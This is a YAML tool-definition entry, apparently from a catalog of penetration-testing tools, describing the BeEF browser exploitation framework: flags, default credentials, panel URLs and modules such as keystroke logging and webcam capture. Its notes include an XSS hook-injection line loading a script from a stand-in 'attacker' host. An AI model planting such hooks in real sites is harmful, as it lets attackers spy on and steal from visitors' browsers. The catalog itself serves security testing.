name: beef-xss
category: exploit
description: Browser Exploitation Framework for XSS attacks.
keywords:
  - xss
  - browser
  - exploitation
  - hook
  - javascript

parameters:
  config:
    type: string
    flag: "-c"
    description: Configuration file

  reset:
    type: boolean
    flag: "-r"
    description: Reset database

  verbose:
    type: boolean
    flag: "-v"
    description: Verbose output

requires_root: false
timeout: 0
interactive: true

examples:
  - "beef-xss"
  - "beef-xss -r"
  - "beef-xss -c /path/to/config.yaml"

notes: |
  Default credentials:
  - User: beef
  - Pass: beef (change it!)

  Web interface:
  - Panel: http://127.0.0.1:3000/ui/panel
  - Hook: http://127.0.0.1:3000/hook.js

  Hook injection:
  <script src="http://attacker:3000/hook.js"></script>

  Command modules:
  - Browser info
  - Keystroke logging
  - Screenshot
  - Webcam capture
  - Social engineering
  - Network discovery

  Integration:
  - Works with Metasploit
  - Combine with XSS findings